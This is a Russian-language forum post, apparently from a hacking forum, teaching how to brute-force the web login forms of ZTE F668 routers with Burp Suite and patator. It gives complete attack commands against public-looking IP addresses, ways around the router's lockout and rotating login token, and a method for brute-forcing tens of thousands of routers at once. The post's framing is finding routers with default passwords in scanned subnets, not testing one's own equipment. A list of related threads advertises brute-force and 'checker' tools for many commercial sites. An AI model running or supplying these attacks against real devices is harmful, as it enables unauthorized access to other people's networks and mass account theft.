Брут-форс формы входа роутеров

  • Автор темы klobald
  • Дата начала
K

klobald

Original poster
Формально можно разделить устройства на два типа — те, которые используют аутентификацию на уровне протокола HTTP, — и другие, которые её не используют — в их число входят устройства, использующие HTTP формы для авторизации.

Первый тип устройств довольно легко отличить от второго, открыв устройство в интернет браузере: у них в самом начале всегда появляется всплывающее окно с названием устройства и предложением ввести логин и пароль. Устройства второго типа не выдают подобного приглашения, а сразу открывают веб страницу, на которой также можно авторизоваться.

Но, если вы затрудняетесь визуально определить тип аутентификации, можно изучить HTTP заголовки ответа устройства, а конкретно заголовок WWW-Authenticate — именно он указывает на использование аутентификации на уровне протокола.

Для подбора пароля к таким устройствам Router Scan использует словари пар логин/пароль. Программой поддерживаются два метода аутентификации на уровне протокола:
  • Basic — базовая аутентификация, имя пользователя и пароль обрабатываются обратимым шифром и отправляются в заголовках (подробнее).
  • Digest — дайджест аутентификация, данные для входа необратимо хешируются алгоритмом MD5 и отправляются в заголовках (подробнее).
Для остальных устройств, не использующих эти методы, перебор по словарям не поддерживается (за исключением некоторых моделей, для которых была добавлена поддержка словаря Form аутентификации). Но можно воспользоваться функцией Use credentials в главном окне программы, которая проверяет пару логин/пароль независимо от метода аутентификации.

Итак, Router Scan использует брут-форс форм для авторизации на роутере не для всех моделей, в результате можно получить следующую картину:

1002.png

Это несколько кучных подсетей в которых в избытке водится роутер ZTE F668. Скажу больше — почти во всех них стандартные логины и пароли, но ни Router Scan, ни RouterSploit не извлекает из них информацию, поскольку на роутере вход выполняется с помощью веб-формы, а для этой модели брут-форс не поддерживается.


Брут-форс веб-форм роутеров
Нам понадобится несколько инструментов. Первый из них — Burp Suite. По приведённой ссылке есть инструкции, в том числе для настройки работы Burp Suite с веб-браузерами — не будем здесь на этом останавливаться, выполните подготовительные действия самостоятельно.

Итак, открываем в веб-браузере интересующий нас роутер:

4001.png

и убеждаемся, что Burp Suite действительно видит передаваемые данные:

4002.png

Теперь отправляем заведомо неправильные данные, например, имя пользователя 11111111 и пароль 22222222:

4003.png

Переходим к анализу в Burp Suite:

4005.png

Данные отправляются методом POST, на страницу / (корневая папка) отправляется HTTP заголовок с кукиз Cookie: _TESTCOOKIESUPPORT=1, передаётся строка вида:
Код:
frashnum=&action=login&Frm_Logintoken=0&Username=11111111&Password=22222222



Смотрим ответ, для начала переключаемся на рендер:

4006.png

Отлично, в ответе содержится слово Error, поищем его в сырых передаваемых данных:

4007.png

Анализируем обычный ответ, без ввода пароля:

4008.png

Там также встречается слово Error, то есть его наличие ни о чём не говорит — такой маркер не подходит для брут-форса. Надеюсь, самые внимательные заметили, что в ответе, пришедшем на аутентификацию, найдено два совпадения с Error, а в обычном ответе, только одно. Смотрим ещё раз ответ после попытки аутентификации:

4009.png

В этом ответе содержится очень характерная строка:
Код:
User information is error, please input again.


Брут-форс роутеров
Для брутфорса я буду использовать программу patator.

В общем виде, в самом простом случае, наша команда будет иметь следующий вид:
Код:
patator http_fuzz url="..." method=POST body='...' 0=... 1=... accept_cookie=1 header='Cookie: ...' -x ignore:fgrep='...' -t 1

Теперь давайте заполним пробелы.

В качестве URL будет IP адрес роутера, например, 58.8.246.217, в качестве body нам нужно взять передаваемую строку, в нашем случае это:
Код:
frashnum=&action=login&Frm_Logintoken=0&Username=11111111&Password=22222222

И в ней в том месте, где имя пользователя, вставим FILE0, а вместо пароля вставим FILE1. В моём случае получилось:
Код:
body='frashnum=&action=login&Frm_Logintoken=0&Username=FILE0&Password=FILE1'

Теперь нам нужно указать путь до словарей. Словарь с именами пользователей у меня называется users.txt и расположен в той же папке, где я запускаю patator. Содержимое моего небольшого словаря:
Код:
admin

root

Admin

Таким образом, я указываю имя словаря строкой 0=users.txt
Файл с паролями у меня называется passwords.txt, путь до него я указываю строкой 1=passwords.txt.

Содержимое моего файла passwords.txt:
Код:
admin

password

1234

root

Admin

12345

Вспомним, что при отправке запроса также отправляется заголовок с куки _TESTCOOKIESUPPORT=1, поэтому к нашей команде мы добавляем
Код:
header='Cookie: _TESTCOOKIESUPPORT=1'.

Теперь нам нужно установить условие, по которому будет определяться, выполнен вход или нет. Этой строкой является «User information is error, please input again», поэтому для игнорирования ответов, содержащих указанную строку, мы запишем следующую опцию: -x ignore:fgrep='User information is error'. Я немного сократил строку, так как точки и запятые у patator вызывают ошибки. Команда ignore говорит не сообщать о результатах, которые соответствуют следующему за двоеточием условию. Команда fgrep означает поиск строки в полученных данных. Для точного сообщения используется команда mesg, а для поиска по регулярному выражению есть команда egrep.

Собираем всё вместе:
Код:
patator http_fuzz url="58.8.248.33" method=POST body='frashnum=&action=login&Frm_Logintoken=0&Username=FILE0&Password=FILE1' 0=users.txt 1=passwords.txt accept_cookie=1 header='Cookie: _TESTCOOKIESUPPORT=1' -x ignore:fgrep='User information is error' -t 1

Получаем такой результат:
16:11:25 patator INFO - Starting Patator v0.7 (

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

) at 2018-08-15 16:11 MSK

16:11:25 patator INFO -

16:11:25 patator INFO - code size:clen time | candidate | num | mesg

16:11:25 patator INFO - -----------------------------------------------------------------------------

16:11:26 patator INFO - 302 304:0 0.666 | admin:password | 2 | HTTP/1.1 302 Moved Temporarily

16:11:27 patator INFO - 200 6882:6608 2.002 | admin:root | 4 | HTTP/1.1 200 OK

16:11:27 patator INFO - 200 6882:6608 2.002 | root:1234 | 9 | HTTP/1.1 200 OK

16:11:27 patator INFO - 200 6882:6608 2.002 | root:12345 | 12 | HTTP/1.1 200 OK

16:11:27 patator INFO - 200 6882:6608 2.001 | Admin:admin | 13 | HTTP/1.1 200 OK

16:11:27 patator INFO - 200 6882:6608 2.002 | Admin:Admin | 17 | HTTP/1.1 200 OK

16:11:27 patator INFO - 200 6882:6608 2.002 | Admin:12345 | 18 | HTTP/1.1 200 OK

16:11:27 patator INFO - 200 6882:6608 2.145 | admin:admin | 1 | HTTP/1.1 200 OK

16:11:28 patator INFO - 200 6882:6608 2.352 | root:root | 10 | HTTP/1.1 200 OK

16:11:28 patator INFO - 200 6882:6608 2.555 | admin:Admin | 5 | HTTP/1.1 200 OK

16:11:28 patator INFO - 200 6882:6608 2.760 | root:password | 8 | HTTP/1.1 200 OK

16:11:28 patator INFO - 200 6882:6608 2.964 | Admin:1234 | 15 | HTTP/1.1 200 OK

16:11:29 patator INFO - 200 6882:6608 2.002 | admin:1234 | 3 | HTTP/1.1 200 OK

16:11:29 patator INFO - 200 6882:6608 4.004 | root:Admin | 11 | HTTP/1.1 200 OK

16:11:29 patator INFO - 200 6882:6608 4.003 | Admin:root | 16 | HTTP/1.1 200 OK

16:11:29 patator INFO - Hits/Done/Skip/Fail/Size: 15/18/0/0/18, Avg: 3 r/s, Time: 0h 0m 4s

4011.png

Это странный результат, как будто бы почти все логины и пароли оказались верными.

Обратим внимание на строку с 302 Moved Temporarily. Она говорит о том, что при вводе учётных данных admin:password роутер хотел нас куда-то перенаправить. Видимо, это и есть правильные учётные данные (логинимся на роутере для проверки), а всё остальное это ложные срабатывания. Подумаем, как это могло получиться?

Получается что по каким то причинам роутер перестаёт отправлять строку «User information is error». Можно предположить, что после аутентификации, роутер запоминает наш IP и теперь все входы с этого адреса разрешены. Это можно проверить открыв в браузере страницу роутера. В моём случае это предположение не подтвердилось.

Самой вероятной причиной может быть защита от брутфорса. Попробуем быстро ввести несколько раз неправильные учётные данные. Точно:

4013.png

Причина найдена, вместо строки «информация о пользователе это ошибка», нам показывают «You have input the wrong username or password for three times. Please try again a minute later», то есть «вы ввели имя пользователя или пароль неправильно три раза. Попробуйте снова через минуту».

Программа patator поддерживает одновременное использование нескольких опций -x и можно было бы добавить -x ignore:fgrep='You have input the wrong username or password for three times', но это не решает главную проблему: после трёх неправильных попыток нужно подождать 1 минуту. Для её исправления можно установить временной интервал между попытками в 1 минуту: --rate-limit=60

Но вспомним, что при вводе верных учётных данных происходит переадресация — сервер возвращает код 302:

4012.png

Поэтому можно использовать конструкцию из двух опций: -x quit:code=302 и -x ignore:code=200. Перед двоеточием идёт команда, а затем условие, при котором выполняется эта команда. В первой строке quit означает выйти, как только получен код 302, то есть пароль найден и продолжать не нужно. Вторая команда ignore означает не показывать полученные данные при получении кода 200.

В результате получается команда:
Код:
patator http_fuzz url="58.11.48.84" method=POST body='frashnum=&action=login&Frm_Logintoken=0&Username=FILE0&Password=FILE1' 0=users.txt 1=passwords.txt accept_cookie=1 header='Cookie: _TESTCOOKIESUPPORT=1' -t 1 -x quit:code=302 -x ignore:code=200 --rate-limit=61


Случайные величины в форме входа
Если сделать несколько попыток входа и изучить передаваемые данные, то можно заметить, что значение переменной Frm_Logintoken меняется.

Конкретная величина прописана в JavaScript коде:
Код:
getObj("Frm_Logintoken").value = "2";



4015.png

И она меняется время от времени. Если передавать строку с неверно установленным токеном Frm_Logintoken, то роутер не примет даже правильный пароль. Это ещё одна защита от брутфорса. К счастью, patator имеет встроенный механизм обхода такой защиты.

Для этого используются опции before_urls и before_egrep. Опция before_urls указывает, какую страницу нужно загрузить до того, как будет сделана попытка аутентификации. А опция before_egrep ищет по заданному регулярному выражению в исходном коде страницы, полученной с помощью before_urls.

Для брут-форса исследуемого роутера нужно предварительно получить тот же адрес на котором вводятся данные, то есть before_urls=58.11.48.84.

Пример поиска по регулярному выражению: before_egrep='_N1_:getObj\("Frm_Logintoken"\).value = "(\w+)"'

Здесь переменной _N1_ присваивается значение обратной ссылки — выражения в скобках. \w+ обозначает главные составные символы, это синоним для «[_[:alnum:]]». Ещё раз — обратите внимание на скобки — это обратная ссылка. При этом в исходном фрагменте кода также присутствуют скобки — их нужно экранировать.

Также меняется передаваемая строка:
Код:
body='frashnum=&action=login&Frm_Logintoken=_N1_&Username=FILE0&Password=FILE1'.

Теперь в ней используется _N1_ для присвоения значения параметру Logintoken.

Если роутер (или веб-приложение) устанавливает кукиз со случайным значением, то достаточно использовать before_urls в паре с accept_cookie=1 (принимать кукиз для последующей передачи).

Полная команда для брут-форса формы входа, с учётом всех нюансов исследуемой модели роутера, выглядит так:
Код:
patator http_fuzz url="58.11.48.84" method=POST body='frashnum=&action=login&Frm_Logintoken=_N1_&Username=FILE0&Password=FILE1' 0=users.txt 1=passwords.txt accept_cookie=1 header='Cookie: _TESTCOOKIESUPPORT=1' -t 1 -x quit:code=302 -x ignore:code=200 --rate-limit=61 before_urls=58.11.48.84 before_egrep='_N1_:getObj\("Frm_Logintoken"\).value = "(\w+)"'


Оптимизация брут-форса путём атаки сразу на несколько целей
Одна попытка в минуту это довольно медленно. Кстати, ведь в рассматриваемых условиях мы можем делать по три попытки в минуту, затем делать паузу. Не уверен, можно ли это сделать встроенным средствами patator.

Зато в patator есть очень полезный алгоритм, который используется по умолчанию при брут-форсе большого количества объектов. Можно запустить перебор учётных данных сразу на множестве роутеров. Для этого в качестве цели с опцией url укажите файл, например, url=FILE2, также укажите путь до самого файла: 2=routers_IP.txt. patator будет работать следующим образом: пробовать один логин:пароль на первом роутере, затем переходить ко второму роутеру и там пробовать один логин:пароль, затем к следующему, пока список не кончится. Когда список завершится, то patator зайдёт на второй круг и для первого роутера попробует вторую пару логин:пароль, затем перейдёт к следующему роутеру и так далее. В результате возникает естественная задержка между попытками ввода на одном роутере — пока делаются попытки входа на следующих в списке, каждому роутеру даётся время «передышки». Это позволяет значительно сократить значение —-rate-limit или вовсе не использовать, так как если одновременно брут-форсятся десятки тысяч роутеров, то очередь до каждого роутера может доходить более чем через минуту. Номер файла имеет значение! То есть в начале полный круг проходится для файлов с номером 0. Это могут быть, например, имена пользователей. Если вы будете брать адреса роутеров для брут-форса из файла с номером 0, то patator будет атаковать только первый в списке роутер и перейдёт к следующему только тогда, когда закончатся логины и пароли для проверки.

На случай если найдены верные логин:пароль, то вместо команды quit (выход из программы), нужно использовать команду free (остановка тестирования хоста после нахождения валидного пароля) примерно следующим образом: -x free=url:code=302



Заключение
Итак, мы рассмотрели брут-форс роутера на примере конкретной модели. Мы столкнулись почти со всеми возможными проблемами, которые могут возникнуть при брут-форсе как роутеров в веб-формой входа, так и других веб-приложений, также использующих веб-форму для аутетификации. Разве что, не была рассмотрена ситуация с капчей и использованием набора прокси для ускорения процесса.

В целом алгоритм всегда примерно одинаковый:
  • Анализ передаваемых данных. Это удобно делать с помощью Burp Suite. Особое внимание следует уделить произвольно меняющимся полям, кукиз, значению реферера и значению user-agent (это всё передаётся в HTTP заголовках)
  • Анализ возвращаемых данных и поиск самых характерных маркеров и событий, свидетельствующих о правильности или неправильности логина и пароля
  • Перед запуском брут-форса следует сделать проверку на методы противодействия брут-форсу
  • В качестве маркера, который говорит patator об успешности входа, нужно выбирать строку или событие, у которого меньше всего вероятность вызвать ложное срабатывание
  • Некоторым видам защит (например, блокировка после нескольких неправильных попыток) невозможно противодействовать, но можно оптимизировать процесс атаки различными способами
 
Название темы
Автор Заголовок Раздел Ответы Дата
K Брут-форс веб-сайтов: инструкция по использованию patator, Hydra, Medusa ЧАСТЬ 2 Уязвимости и взлом 0
K Брут-форс веб-сайтов: инструкция по использованию patator, Hydra, Medusa Уязвимости и взлом 0
I Брут-форс и эксплуатация скомпрометированных WordPress Уязвимости и взлом 0
Deni4ka Закрыто Брут акки или акки с токенами от Chaturbate Корзина 2
NikitaKit £€$Проект(Брут) на европейское казино$€£ Продажа софта 1
C Проверено [Услуги Разработки] Автоматизация | Брут\Чекеры | ПО любой сложности | OxTeam Продажа софта 3
S Продам Брут дедики по низким ценам Куплю/Продам 2
H ASM – Брут и шифрование Цезарем Корзина 0
Р Интересно Брут TD Bank на BAS Бруты/Парсеры/Чекеры 2
АнАлЬнАя ЧуПаКаБрА Cash Service | Брут/Чекер Проекты Private Keeper 3
АнАлЬнАя ЧуПаКаБрА Passive Income | Брут/Чекер Проекты Private Keeper 0
АнАлЬнАя ЧуПаКаБрА INLINE Брут/чекер на облачный майнинг. Проекты Private Keeper 0
АнАлЬнАя ЧуПаКаБрА Интересно Bluebird-hd [Брут/Чекер] [Приват Кипер] Проекты Private Keeper 2
АнАлЬнАя ЧуПаКаБрА Anywayanyday [Брут/Чекер] [Приват Кипер] Проекты Private Keeper 0
АнАлЬнАя ЧуПаКаБрА Фабрика Грёз [Брут/Чекер] [Приват Кипер] Проекты Private Keeper 0
S Брут в hydra Вопросы и интересы 7
АнАлЬнАя ЧуПаКаБрА Интересно [Private UBC] Брут/чек на сайт связанный с Ethereum Проекты UBC 0
АнАлЬнАя ЧуПаКаБрА INLINE [Брут] Вывод с Валидом от 5€ Проекты Private Keeper 0
A Брут доменной почты USА Вопросы и интересы 0
АнАлЬнАя ЧуПаКаБрА INLINE Contributor Stock | Брут/Чекер Проекты Private Keeper 2
АнАлЬнАя ЧуПаКаБрА INLINE Tapbuxs.com | Брут/Чекер Проекты Private Keeper 0
АнАлЬнАя ЧуПаКаБрА INLINE Ingramportal.com | Брут/Чекер Проекты Private Keeper 0
АнАлЬнАя ЧуПаКаБрА INLINE Вывод На PayPal | Брут/Чекер Проекты Private Keeper 0
АнАлЬнАя ЧуПаКаБрА Вывод Раз В Месяц | Брут/Чекер | Сайт Опросов Проекты Private Keeper 0
АнАлЬнАя ЧуПаКаБрА INLINE Casino BTC | Брут/Чекер Проекты Private Keeper 1
АнАлЬнАя ЧуПаКаБрА INLINE Брут на обменник Проекты Private Keeper 1
АнАлЬнАя ЧуПаКаБрА INLINE Музыкальный Сервис | Брут/Чекер Проекты Private Keeper 0
АнАлЬнАя ЧуПаКаБрА INLINE bethesda.net | Брут/Чекер Проекты Private Keeper 5
АнАлЬнАя ЧуПаКаБрА INLINE Lightstock.com | Брут/Чекер Проекты Private Keeper 0
АнАлЬнАя ЧуПаКаБрА INLINE YoOpinion.com | Брут/Чекер Проекты Private Keeper 0
АнАлЬнАя ЧуПаКаБрА INLINE Musickickup.com | Брут/Чекер Проекты Private Keeper 0
АнАлЬнАя ЧуПаКаБрА INLINE Crowdspring.com | Брут/Чекер Проекты Private Keeper 0
АнАлЬнАя ЧуПаКаБрА INLINE Customon.com | Брут/Чекер Проекты Private Keeper 1
АнАлЬнАя ЧуПаКаБрА INLINE Vectorstock.com | Брут/Чекер Проекты Private Keeper 0
АнАлЬнАя ЧуПаКаБрА INLINE Thegiftcardcentre.co.uk | Брут/Чекер Проекты Private Keeper 1
АнАлЬнАя ЧуПаКаБрА INLINE Btcclicks.com | Брут/Чекер Проекты Private Keeper 2
АнАлЬнАя ЧуПаКаБрА INLINE Popspins.com | Брут/Чекер Проекты Private Keeper 2
АнАлЬнАя ЧуПаКаБрА INLINE *****trades.com | Брут/Чекер Проекты Private Keeper 0
АнАлЬнАя ЧуПаКаБрА INLINE Admitad.com | Брут/Чекер Проекты Private Keeper 0
АнАлЬнАя ЧуПаКаБрА INLINE Prezna.com | Брут/Чекер Проекты Private Keeper 0
АнАлЬнАя ЧуПаКаБрА INLINE Spreaker.com | Брут/Чекер Проекты Private Keeper 0
АнАлЬнАя ЧуПаКаБрА INLINE Groover.co | Брут/Чекер Проекты Private Keeper 0
G Многофункциональный пентестер Брут/Чекер популярных cms панелей Продажа софта 0
V Avito Брут Корзина 0
АнАлЬнАя ЧуПаКаБрА INLINE Брут на популярную биржу Проекты Private Keeper 0
АнАлЬнАя ЧуПаКаБрА INLINE Брут Pubg Проекты Private Keeper 2
АнАлЬнАя ЧуПаКаБрА INLINE reddit.com - Брут, чек Проекты Private Keeper 2
АнАлЬнАя ЧуПаКаБрА [Private Keeper] Twite.ru Брут и Чекер [БЕЗ ХАЙДА] Проекты Private Keeper 0
АнАлЬнАя ЧуПаКаБрА [Private Keeper] Linkslot.ru Брут и Чекер Проекты Private Keeper 0
АнАлЬнАя ЧуПаКаБрА INLINE *****pay.com | Брут/Чекер Проекты Private Keeper 1

Название темы